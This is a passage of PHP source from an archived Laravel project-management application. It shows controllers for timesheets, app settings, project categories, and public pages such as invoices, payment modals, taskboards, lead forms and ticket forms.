= $date->format('Y-m-d'); $weekDates[] = $dateFormatted; } $this->weekDates = $weekDates; if (request()->ajax()) { $this->pageTitle = __('app.menu.weeklyTimesheets') . ' ' . __('app.details'); $view = 'weekly-timesheets.ajax.show'; return $this->returnAjax($view); } $this->view = 'weekly-timesheets.ajax.show'; return view('weekly-timesheets.show', $this->data); } public function showRejectModal(Request $request) { $this->weeklyTimesheet = WeeklyTimesheet::findOrFail($request->timesheet_id); return view('weekly-timesheets.reject_modal', $this->data); } public function edit($id) { $this->weeklyTimesheet = WeeklyTimesheet::findOrFail($id); $this->weekStartDate = $this->weeklyTimesheet->week_start_date; $this->weekEndDate = $this->weekStartDate->copy()->addDays(6); $this->weekPeriod = CarbonPeriod::create($this->weekStartDate, $this->weekEndDate); // Get All Dates from start to end date $this->weekTimesheet = WeeklyTimesheet::where('user_id', user()->id) ->whereDate('week_start_date', $this->weekStartDate) ->first(); $weekDates = []; foreach($this->weekPeriod as $date) { $dateFormatted = $date->format('Y-m-d'); $weekDates[] = $dateFormatted; } $tasks = Task::leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->where('task_users.user_id', '=', user()->id) ->where(function ($query) { return $query->whereBetween(DB::raw('DATE(tasks.`start_date`)'), [$this->weekStartDate, $this->weekEndDate]) ->orWhereBetween(DB::raw('DATE(tasks.`due_date`)'), [$this->weekStartDate, $this->weekEndDate]); }) ->with('project:id,project_name') ->select('tasks.id', 'tasks.heading', 'tasks.project_id')->get(); $this->tasksForWeek = $tasks; $this->weekDates = $weekDates; $this->view = 'weekly-timesheets.ajax.week_summary_data'; $now = now(); $this->year = $now->format('Y'); $this->month = $now->format('m'); return view('weekly-timesheets.edit', $this->data); } } Http/Controllers/AppSettingController.php000064400000017353150325104510014631 0ustar00pageTitle = 'app.menu.appSettings'; $this->activeSettingMenu = 'app_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_app_setting') !== 'all'); return $next($request); }); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function index() { $tab = request('tab'); $this->view = match ($tab) { 'file-upload-setting' => 'app-settings.ajax.file-upload-setting', 'client-signup-setting' => 'app-settings.ajax.client-signup-setting', 'google-map-setting' => 'app-settings.ajax.map-setting', default => 'app-settings.ajax.app-setting', }; $this->dateFormat = array_keys(Company::DATE_FORMATS); $this->timezones = DateTimeZone::listIdentifiers(); $this->currencies = Currency::all(); $this->dateObject = now(); $this->cachedFile = File::exists(base_path('bootstrap/cache/config.php')); // Not fetching from session $this->globalSetting = GlobalSetting::first(); $this->activeTab = $tab ?: 'app-setting'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('app-settings.index', $this->data); } /** * @param UpdateAppSetting $request * @param mixed $id * @return array * @throws BindingResolutionException * @throws CommandNotFoundException */ // phpcs:ignore public function update(UpdateAppSetting $request, $id) { $tab = request('page'); switch ($tab) { case 'file-upload-setting': $this->updateFileUploadSetting($request); break; case 'client-signup-setting': $this->updateClientSignupSetting($request); break; case 'google-map-setting': $this->updateGoogleMapSetting($request); break; default: $this->updateAppSetting($request); break; } session()->forget('company'); cache()->forget('global_setting'); session()->forget('companyOrGlobalSetting'); return Reply::success(__('messages.updateSuccess')); } public function globalSettingSave($request) { $globalSetting = GlobalSetting::first(); $globalSetting->app_debug = $request->has('app_debug') && $request->app_debug == 'on' ? 1 : 0; $globalSetting->system_update = $request->has('system_update') && $request->system_update == 'on' ? 1 : 0; $globalSetting->session_driver = $request->session_driver; $globalSetting->locale = $request->locale; $globalSetting->date_format = $request->date_format; $globalSetting->time_format = $request->time_format; $globalSetting->moment_format = $this->momentFormat($globalSetting->date_format); $globalSetting->datatable_row_limit = $request->datatable_row_limit; $globalSetting->save(); } public function updateAppSetting($request) { $setting = \company(); $setting->currency_id = $request->currency_id; $setting->timezone = $request->timezone; $setting->locale = $request->locale; $setting->date_format = $request->date_format; $setting->time_format = $request->time_format; $setting->moment_format = $this->momentFormat($setting->date_format); $setting->dashboard_clock = $request->has('dashboard_clock') && $request->dashboard_clock == 'on' ? 1 : 0; $setting->employee_can_export_data = $request->has('employee_can_export_data') && $request->employee_can_export_data == 'on' ? 1 : 0; $setting->datatable_row_limit = $request->datatable_row_limit; $setting->save(); $setting->refresh(); Artisan::call('update-exchange-rate'); // Delete all sessions except the current user session because we can't change sessions for all the users DB::table('sessions')->where('user_id', '<>', user()->id)->delete(); // Doing this is going to change the locale for self profile also. So as customer do not have to visit // Profile to change the locale $user = user(); $user->locale = $request->locale; $user->saveQuietly(); $globalSetting = companyOrGlobalSetting(); $globalSetting->update(['locale' => $request->locale]); // \session()->forget('user'); \session()->forget('isRtl'); if ($request->currency_id) { \session()->forget('currency_format_setting'); currency_format_setting($setting->currency_id); } $this->globalSettingSave($request); $this->resetCache(); } public function updateFileUploadSetting($request) { if (!empty($request->allowed_file_types)) { $allowed_file_types = $request->allowed_file_types; $fileTypeArray = []; foreach (json_decode($allowed_file_types) as $file) { $fileTypeArray[] = $file->value; } } $globalSetting = GlobalSetting::first(); $globalSetting->allowed_file_types = !empty($fileTypeArray) ? implode(',', $fileTypeArray) : ''; $globalSetting->allowed_file_size = $request->allowed_file_size; $globalSetting->allow_max_no_of_files = $request->allow_max_no_of_files; $globalSetting->save(); } public function updateClientSignupSetting($request) { $setting = \company(); $setting->allow_client_signup = $request->allow_client_signup == 'on' ? 1 : 0; $setting->admin_client_signup_approval = $request->admin_client_signup_approval == 'on' ? 1 : 0; $setting->save(); } public function updateGoogleMapSetting(UpdateAppSetting $request) { $globalSetting = \global_setting(); $globalSetting->google_map_key = $request->google_map_key; $globalSetting->save(); cache()->forget('global_setting'); } /** * @param string $dateFormat * @return string */ public function momentFormat($dateFormat) { $availableDateFormats = Company::DATE_FORMATS; return (isset($availableDateFormats[$dateFormat])) ? $availableDateFormats[$dateFormat] : 'DD-MM-YYYY'; } public function resetCache() { if (request()->cache) { try { Artisan::call('optimize'); Artisan::call('route:clear'); } catch (\Exception $e) { return $e->getMessage(); } } else { Artisan::call('optimize:clear'); Artisan::call('cache:clear'); } cache()->flush(); return Reply::success(__('messages.cacheClear')); } public function deleteSessions(array $usersIds = []) { if (!empty($usersIds)) { Session::whereIn('user_id', $usersIds)->where('user_id', '<>', user()->id)->delete(); return Reply::success(__('messages.deleteSuccess')); } return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/ProjectCategoryController.php000064400000003772150325104510015657 0ustar00addPermission = user()->permission('manage_project_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->categories = ProjectCategory::all(); return view('projects.create_category', $this->data); } public function store(StoreProjectCategory $request) { $this->addPermission = user()->permission('manage_project_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $category = new ProjectCategory(); $category->category_name = $request->category_name; $category->save(); $categories = ProjectCategory::all(); $options = BaseModel::options($categories, $category, 'category_name'); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } public function edit($id) { $this->projectCategory = ProjectCategory::findOrfail($id); return view('project-settings.edit-category', $this->data); } public function update(StoreProjectCategory $request, $id) { $category = ProjectCategory::findOrFail($id); $category->category_name = strip_tags($request->category_name); $category->save(); $categories = ProjectCategory::all(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $options]); } public function destroy($id) { ProjectCategory::destroy($id); $categories = ProjectCategory::all(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $options]); } } Http/Controllers/HomeController.php000064400000146663150325104510013452 0ustar00ajax()) { $this->middleware('signed')->only([ 'taskboard' // Could add bunch of more methods too ]); } } /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function index() { return view('home'); } public function login() { return redirect(route('login')); } public function invoice($hash) { $this->pageTitle = 'app.menu.invoices'; $this->pageIcon = 'icon-money'; $this->invoice = Invoice::with('currency', 'project', 'project.client', 'items.invoiceItemImage', 'items', 'items.unit') ->where('hash', $hash) ->firstOrFail(); $this->paidAmount = $this->invoice->getPaidAmount(); $this->discount = 0; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } $taxList = []; $items = InvoiceItems::whereNotNull('taxes') ->where('invoice_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $taxId) { $tax = InvoiceItems::taxbyid($taxId)->first(); if ($tax) { $taxName = $tax->tax_name . ': ' . $tax->rate_percent . '%'; $taxAmount = $this->calculateTaxAmount($item, $tax); if (!isset($taxList[$taxName])) { $taxList[$taxName] = $taxAmount; } else { $taxList[$taxName] += $taxAmount; } } } } $this->taxes = $taxList; $this->company = $this->invoice->company; $this->credentials = $this->company->paymentGatewayCredentials; $this->methods = $this->company->offlinePaymentMethod; $this->invoiceSetting = $this->company->invoiceSetting; return view('invoice', [ 'companyName' => $this->company->company_name, 'pageTitle' => $this->pageTitle, 'pageIcon' => $this->pageIcon, 'company' => $this->company, 'invoice' => $this->invoice, 'paidAmount' => $this->paidAmount, 'discount' => $this->discount, 'credentials' => $this->credentials, 'taxes' => $this->taxes, 'methods' => $this->methods, 'invoiceSetting' => $this->invoiceSetting, ]); } private function calculateTaxAmount($item, $tax) { $amount = $item->amount; $ratePercent = $tax->rate_percent / 100; if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $amount -= ($amount / $this->invoice->sub_total) * $this->discount; } return $amount * $ratePercent; } public function stripeModal(Request $request) { $this->invoiceID = $request->invoice_id; $this->countries = countries(); return view('public-payment.stripe.index', $this->data); } public function paystackModal(Request $request) { $this->id = $request->id; $this->type = $request->type; $data = match ($request->type) { 'invoice' => Invoice::findOrFail($request->id), 'order' => Order::findOrFail($request->id), default => Invoice::findOrFail($request->id), }; $this->company = $data->company; return view('public-payment.paystack.index', $this->data); } public function flutterwaveModal(Request $request) { $this->id = $request->id; $this->type = $request->type; return view('public-payment.flutterwave.index', $this->data); } public function mollieModal(Request $request) { $this->id = $request->id; $this->type = $request->type; $data = match ($request->type) { 'invoice' => Invoice::findOrFail($request->id), 'order' => Order::findOrFail($request->id), default => Invoice::findOrFail($request->id), }; $this->company = $data->company; return view('public-payment.mollie.index', $this->data); } public function authorizeModal(Request $request) { $this->id = $request->id; $this->type = $request->type; return view('public-payment.authorize.index', $this->data); } public function saveStripeDetail(StoreStripeDetail $request) { $id = $request->invoice_id; $this->invoice = Invoice::with(['client', 'project', 'project.client'])->findOrFail($id); $this->company = $this->invoice->company; if ($this->invoice && $this->invoice->amountDue() == 0) { Reply::error(__('messages.invoiceAlreadyPaid')); } $this->credentials = PaymentGatewayCredentials::where('company_id', $this->company->id)->first(); $client = null; if (!is_null($this->invoice->client_id)) { $client = $this->invoice->client; } else if (!is_null($this->invoice->project_id) && !is_null($this->invoice->project->client_id)) { $client = $this->invoice->project->client; } if (($this->credentials->test_stripe_secret || $this->credentials->live_stripe_secret) && !is_null($client)) { Stripe::setApiKey($this->credentials->stripe_mode == 'test' ? $this->credentials->test_stripe_secret : $this->credentials->live_stripe_secret); $totalAmount = $this->invoice->amountDue(); $customer = \Stripe\Customer::create([ 'email' => $client->email, 'name' => $request->clientName, 'address' => [ 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ], ]); $intent = \Stripe\PaymentIntent::create([ 'amount' => $totalAmount * 100, 'currency' => $this->invoice->currency->currency_code, 'customer' => $customer->id, 'setup_future_usage' => 'off_session', 'payment_method_types' => ['card'], 'description' => $this->invoice->invoice_number . ' Payment', 'metadata' => ['integration_check' => 'accept_a_payment', 'invoice_id' => $id] ]); $this->intent = $intent; } $customerDetail = [ 'email' => $client->email, 'name' => $request->clientName, 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ]; $this->customerDetail = $customerDetail; $view = view('public-payment.stripe.stripe-payment', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'intent' => $this->intent]); } public function downloadInvoice($id) { $this->invoice = Invoice::whereRaw('md5(id) = ?', $id)->firstOrFail(); $this->company = $this->invoice->company; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale ?? 'en'); // Download file uploaded if ($this->invoice->file != null && request()->has('download-uploaded')) { return response()->download(storage_path('app/public/invoice-files') . '/' . $this->invoice->file); } $pdfOption = $this->domPdfObjectForDownload($this->invoice->id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoice = Invoice::with('items')->findOrFail($id); $this->company = $this->invoice->company; $this->invoiceSetting = $this->company->invoiceSetting; App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $this->paidAmount = $this->invoice->getPaidAmount(); $this->creditNote = 0; if ($this->invoice->credit_note) { $this->creditNote = CreditNotes::where('invoice_id', $id) ->select('cn_number') ->first(); } if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } else { $this->discount = 0; } $taxList = array(); $items = InvoiceItems::whereNotNull('taxes') ->where('invoice_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = InvoiceItems::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->company = $this->invoice->company; $this->payments = Payment::with(['offlineMethod'])->where('invoice_id', $this->invoice->id)->where('status', 'complete')->orderByDesc('paid_on')->get(); $pdf = app('dompdf.wrapper'); $pdf->loadView('invoices.pdf.' . $this->invoiceSetting->template, $this->data); $filename = $this->invoice->invoice_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function app() { $setting = Company::select('id', 'company_name')->first(); return ['data' => $setting]; } public function gantt($hash) { $this->project = Project::with('members', 'members.user')->where('hash', $hash)->firstOrFail(); $this->company = $this->project->company; $this->pageTitle = $this->project->project_name; $this->hideCompleted = request('hide_completed') ?? 0; $this->ganttData = $this->ganttDataNew($this->project->id, $this->hideCompleted, $this->company); // Check if public taskboard is enabled for this project if ($this->project->public_gantt_chart != 'enable') { abort_403('Public gantt chart is disabled for this project.'); } return view('gantt_dhtml', [ 'company' => $this->company, 'pageTitle' => $this->pageTitle, 'hideCompleted' => $this->hideCompleted, 'ganttData' => $this->ganttData, 'project' => $this->project ]); } public function ganttData($ganttProjectId) { $assignedTo = request('assignedTo'); $projectTask = request('projectTask'); if ($assignedTo != 'all') { $tasks = Task::projectTasks($ganttProjectId, $assignedTo, 1); } else { $tasks = Task::projectTasks($ganttProjectId, null, 1); } if ($projectTask) { $tasks = $tasks->whereIn('id', explode(',', $projectTask)); } $data = array(); foreach ($tasks as $key => $task) { $data[] = [ 'id' => 'task-' . $task->id, 'name' => $task->heading, 'start' => ((!is_null($task->start_date)) ? $task->start_date->format('Y-m-d') : ((!is_null($task->due_date)) ? $task->due_date->format('Y-m-d') : null)), 'end' => ((!is_null($task->due_date)) ? $task->due_date->format('Y-m-d') : $task->start_date->format('Y-m-d')), 'progress' => 0, 'bg_color' => $task->boardColumn->label_color, 'taskid' => $task->hash, 'draggable' => true ]; if (!is_null($task->dependent_task_id)) { $data[$key]['dependencies'] = 'task-' . $task->dependent_task_id; } } return response()->json($data); } public function taskDetail($hash) { $this->task = Task::with('company:id,timezone,favicon,light_logo,date_format,time_format,company_name', 'boardColumn', 'project', 'users', 'label', 'approvedTimeLogs', 'approvedTimeLogs.user', 'comments', 'comments.user') ->withCount('subtasks', 'files', 'comments', 'activeTimerAll') ->where('hash', $hash) ->firstOrFail() ->withCustomFields(); $this->pageTitle = __('app.task') . ' # ' . $this->task->task_short_code; $getCustomFieldGroupsWithFields = $this->task->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->employees = User::join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('project_time_logs', 'project_time_logs.user_id', '=', 'users.id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id'); $this->employees = $this->employees->select( 'users.name', 'users.image', 'users.id', 'designations.name as designation_name' ); $this->employees = $this->employees->where('project_time_logs.task_id', '=', $this->task->id); $this->employees = $this->employees->groupBy('project_time_logs.user_id') ->orderBy('users.name') ->get(); $this->breakMinutes = ProjectTimeLogBreak::taskBreakMinutes($this->task->id); $tab = request('view'); $this->routeUrl = url()->full(); $this->tab = match ($tab) { 'sub_task' => 'front.tasks.ajax.sub_tasks', 'history' => 'front.tasks.ajax.history', 'comments' => 'front.tasks.ajax.comments', 'time_logs' => 'front.tasks.ajax.timelogs', 'notes' => 'front.tasks.ajax.notes', default => 'front.tasks.ajax.files', }; $this->company = $this->task->company; $this->view = 'front.tasks.ajax.show'; if (request()->ajax()) { if (request('json')) { return $this->returnAjax($this->tab); } return $this->returnAjax($this->view); } return view('front.tasks.show', $this->data); } public function taskFiles($id) { $this->taskFiles = TaskFile::where('task_id', $id)->get(); return view('task-files', ['taskFiles' => $this->taskFiles]); } public function taskboard(Request $request, $hash) { $project = Project::where('hash', $hash)->firstOrFail(); $this->company = $project->company; $this->pageTitle = $project->project_name . ' ' . __('modules.tasks.taskBoard'); // Check if public taskboard is enabled for this project if ($project->public_taskboard != 'enable') { abort_403('Public taskboard access is disabled for this project.'); } if (request()->ajax()) { $this->boardEdit = false; $this->boardDelete = false; $boardColumns = TaskboardColumn::withCount(['tasks as tasks_count' => function ($q) use ($project) { $q->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by'); $q->whereNull('projects.deleted_at'); $q->where('tasks.is_private', 0); $q->where('tasks.project_id', '=', $project->id); $q->select(DB::raw('count(distinct tasks.id)')); }]) ->with(['tasks' => function ($q) use ($project) { $q->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->groupBy('tasks.id'); $q->whereNull('projects.deleted_at'); $q->where('tasks.is_private', 0); $q->where('tasks.project_id', '=', $project->id); }]) ->where('taskboard_columns.company_id', $this->company->id) ->where('taskboard_columns.column_name', '<>', 'Waiting Approval') ->orderBy('priority', 'asc') ->get(); $result = array(); foreach ($boardColumns as $key => $boardColumn) { $result['boardColumns'][] = $boardColumn; $tasks = Task::with(['users', 'project', 'labels']) ->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->select('tasks.*') ->where('tasks.board_column_id', $boardColumn->id) ->where('tasks.is_private', 0) ->orderBy('column_priority', 'asc') ->groupBy('tasks.id'); $tasks->whereNull('projects.deleted_at'); $tasks->where('tasks.project_id', '=', $project->id); $tasks->skip(0)->take($this->company->taskboard_length ?? 10); $tasks = $tasks->get(); $result['boardColumns'][$key]['tasks'] = $tasks; } $this->result = $result; $view = view('taskboard_data', [ 'result' => $this->result, 'boardEdit' => $this->boardEdit ])->render(); return Reply::dataOnly(['view' => $view]); } return view('taskboard', [ 'pageTitle' => $this->pageTitle, 'company' => $this->company, 'project' => $project ]); } public function taskboardLoadMore(Request $request, $hash) { $skip = $request->currentTotalTasks; $totalTasks = $request->totalTasks; $project = Project::where('hash', $hash)->firstOrFail(); $this->company = $project->company; $tasks = Task::with('users', 'project', 'labels') ->withCount(['subtasks', 'completedSubtasks', 'comments']) ->leftJoin('projects', 'projects.id', '=', 'tasks.project_id') ->leftJoin('users as client', 'client.id', '=', 'projects.client_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->leftJoin('users', 'task_users.user_id', '=', 'users.id') ->leftJoin('task_labels', 'task_labels.task_id', '=', 'tasks.id') ->leftJoin('users as creator_user', 'creator_user.id', '=', 'tasks.created_by') ->select('tasks.*') ->where('tasks.board_column_id', $request->columnId) ->orderBy('column_priority', 'asc') ->groupBy('tasks.id'); $tasks->whereNull('projects.deleted_at'); $tasks->where('tasks.project_id', '=', $project->id); $tasks->skip($skip)->take($this->company->taskboard_length ?? 10); $tasks = $tasks->get(); $this->tasks = $tasks; if ($totalTasks <= ($skip + $this->company->taskboard_length)) { $loadStatus = 'hide'; } else { $loadStatus = 'show'; } $view = view('taskboard_load_more', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'load_more' => $loadStatus]); } /** * custom lead form * * @return \Illuminate\Http\Response */ public function leadForm($id) { if (session()->has('is_deal')) { session()->forget('is_deal'); } $this->withLogo = \request()->get('with_logo'); $this->styled = \request()->get('styled'); $this->pageTitle = 'modules.lead.leadForm'; $this->company = Company::where('hash', $id)->firstOrFail(); $this->globalSetting = global_setting(); $this->countries = countries(); $this->sources = LeadSource::where('company_id', $this->company->id)->get(); $this->products = Product::where('company_id', $this->company->id)->get(); $this->category = LeadCategory::select('id')->where('company_id', $this->company->id)->where('is_default', 1)->first(); $this->leadFormFields = LeadCustomForm::with('customField') ->where('status', 'active') ->where('company_id', $this->company->id) ->orderBy('field_order')->get(); return view('lead-form', $this->data); } /** * save lead * * @return array */ // public function leadStore(StorePublicLead $request) public function leadStore(StorePublicLead $request) { $company = Company::findOrFail($request->company_id); if (global_setting()->google_recaptcha_status == 'active') { // Checking is google recaptcha is valid $gRecaptchaResponseInput = global_setting()->google_recaptcha_v3_status == 'active' ? 'g_recaptcha' : 'g-recaptcha-response'; $gRecaptchaResponse = $request->{$gRecaptchaResponseInput}; $validateRecaptcha = GlobalSetting::validateGoogleRecaptcha($gRecaptchaResponse); if (!$validateRecaptcha) { return Reply::error(__('auth.recaptchaFailed')); } } $leadPipeline = LeadPipeline::where('default', '1')->where('company_id', $company->id)->first(); $leadStage = PipelineStage::where('default', '1')->where('lead_pipeline_id', $leadPipeline->id)->where('company_id', $company->id)->first(); $leadContact = null; if (request()->has('email') && !is_null($request->email)) { $leadContact = Lead::where('client_email', $request->email)->first(); } if (is_null($leadContact)) { $leadContact = new Lead(); } $leadContact->company_id = $company->id; $leadContact->company_name = (request()->has('company_name') ? $request->company_name : ''); $leadContact->website = (request()->has('website') ? $request->website : ''); $leadContact->address = (request()->has('address') ? $request->address : ''); $leadContact->client_name = (request()->has('name') ? $request->name : ''); $leadContact->client_email = (request()->has('email') ? $request->email : ''); $leadContact->mobile = (request()->has('mobile') ? $request->mobile : ''); $leadContact->city = (request()->has('city') ? $request->city : ''); $leadContact->state = (request()->has('state') ? $request->state : ''); $leadContact->country = (request()->has('country') ? $request->country : ''); $leadContact->postal_code = (request()->has('postal_code') ? $request->postal_code : ''); $leadContact->save(); $note = new LeadNote(); $note->title = 'note'; $note->lead_id = $leadContact->id; $note->details = (request()->has('message') ? $request->message : ''); $note->type = 0; $note->save(); $lead = new Deal(); $lead->company_id = $company->id; $lead->lead_id = $leadContact->id; $lead->name = (request()->has('name') ? $request->name : ''); $lead->lead_pipeline_id = $leadPipeline->id; $lead->pipeline_stage_id = $leadStage->id; $lead->note = (request()->has('message') ? $request->message : null); $lead->value = 0; $lead->currency_id = $company->currency_id; $lead->category_id = $request->category_id ?? null; Session::put('is_deal', true); $lead->save(); if (!is_null($request->product)) { $products = $request->product; foreach ($products as $product) { $leadProduct = new LeadProduct(); $leadProduct->deal_id = $lead->id; $leadProduct->product_id = $product; $leadProduct->save(); } } // To add custom fields data if ($request->custom_fields_data) { $leadContact->updateCustomFieldData($request->custom_fields_data, $company->id); } return Reply::success(__('messages.recordSaved')); } /** * custom lead form * * @return \Illuminate\Http\Response */ public function ticketForm($id) { $this->pageTitle = 'modules.ticketForm'; $this->withLogo = \request()->get('with_logo'); $this->styled = \request()->get('styled'); $this->company = Company::where('hash', $id)->firstOrFail(); App::setLocale($this->company->locale); Carbon::setLocale($this->company->locale); setlocale(LC_TIME, $this->company->locale . '_' . mb_strtoupper($this->company->locale)); $this->groups = TicketGroup::where('company_id', $this->company->id)->get(); $this->ticketFormFields = TicketCustomForm::with('customField') ->where('company_id', $this->company->id) ->where('status', 'active') ->orderBy('field_order', 'asc') ->get(); $this->types = TicketType::where('company_id', $this->company->id)->get(); return view('ticket-form', $this->data); } /** * save lead * * @return array */ public function ticketStore(StoreCustomTicket $request) { $company = Company::findOrFail($request->company_id); if (global_setting()->google_recaptcha_status == 'active') { // Checking is google recaptcha is valid $gRecaptchaResponseInput = global_setting()->google_recaptcha_v3_status == 'active' ? 'g_recaptcha' : 'g-recaptcha-response'; $gRecaptchaResponse = $request->{$gRecaptchaResponseInput}; $validateRecaptcha = GlobalSetting::validateGoogleRecaptcha($gRecaptchaResponse); if (!$validateRecaptcha) { return Reply::error(__('auth.recaptchaFailed')); } } /* $rules['g-recaptcha-response'] = 'required'; */ $existing_user = User::withoutGlobalScope(ActiveScope::class)->select('id', 'email')->where('email', $request->email)->first(); $newUser = $existing_user; if (!$existing_user) { $password = str_random(8); // create new user $client = new User(); $client->company_id = $request->company_id; $client->name = $request->name; $client->email = $request->email; $client->email_notifications = $request->email_notifications ?? 1; $client->password = Hash::make($password); $client->save(); event(new NewUserEvent($client, $password)); // attach role $role = Role::withoutGlobalScope(CompanyScope::class) ->where('name', 'client') ->where('company_id', $company->id) ->select('id') ->first(); $role ? $client->attachRole($role->id) : null; $clientDetail = new ClientDetails(); $clientDetail->company_id = $client->company_id; $clientDetail->user_id = $client->id; $clientDetail->save(); $client->assignUserRolePermission($role->id); // Log search $this->logSearchEntry($client->id, $client->name, 'clients.edit', 'client'); $this->logSearchEntry($client->id, $client->email, 'clients.edit', 'client'); $newUser = $client; } // Create New Ticket $ticket = new Ticket(); $ticket->company_id = $company->id; $ticket->subject = (request()->has('ticket_subject') ? $request->ticket_subject : ''); $ticket->status = 'open'; $ticket->user_id = $newUser->id; $ticket->type_id = (request()->has('type') ? $request->type : null); $ticket->priority = (request()->has('priority') ? $request->priority : 'medium'); $ticket->group_id = (request()->has('assign_group') ? $request->assign_group : null); $ticket->save(); // Save first message $reply = new TicketReply(); $reply->message = (request()->has('ticket_description') ? $request->ticket_description : ''); $reply->ticket_id = $ticket->id; $reply->user_id = $newUser->id; // Current logged in user $reply->save(); // To add custom fields data if ($request->custom_fields_data) { $ticket->updateCustomFieldData($request->custom_fields_data, $company->id); } return Reply::success(__('messages.ticketCreateSuccess')); } public function installedModule() { $message = ''; $plugins = Module::allEnabled(); /* @phpstan-ignore-line */ $applicationVersion = trim( preg_replace( '/\s\s+/', ' ', !file_exists(File::get(public_path() . '/version.txt')) ? File::get(public_path() . '/version.txt') : '0' ) ); $enableModules = []; $enableModules['application'] = 'worksuite'; $enableModules['version'] = $applicationVersion; $enableModules['worksuite'] = $applicationVersion; foreach ($plugins as $plugin) { $enableModules[$plugin->getName()] = trim( preg_replace( '/\s\s+/', ' ', !file_exists(File::get($plugin->getPath() . '/version.txt')) ? File::get($plugin->getPath() . '/version.txt') : '0' ) ); } if (!in_array('RestAPI', array_keys($plugins))) { $message = 'Rest API module is not activated'; } elseif (!Module::has('RestAPI')) { $message = 'Rest API module is not installed'; } elseif (((int)str_replace('.', '', $enableModules['RestAPI'])) < 110) { $message = 'Please update Rest API module greater then 1.1.0 version'; } elseif (((int)str_replace('.', '', $enableModules['worksuite'])) < 400) { $message = 'Please update' . config('app.name') . ' greater then 4.0.0 version'; } $enableModules['message'] = $message; return ApiResponse::make('Plugin data fetched successfully', $enableModules); } public function proposal($hash) { $this->pageTitle = __('app.menu.proposal'); $this->pageIcon = 'icon-people'; $this->proposal = Proposal::with(['items', 'unit'])->where('hash', $hash)->firstOrFail(); $this->company = $this->proposal->company; $this->discount = 0; if ($this->proposal->discount > 0) { if ($this->proposal->discount_type 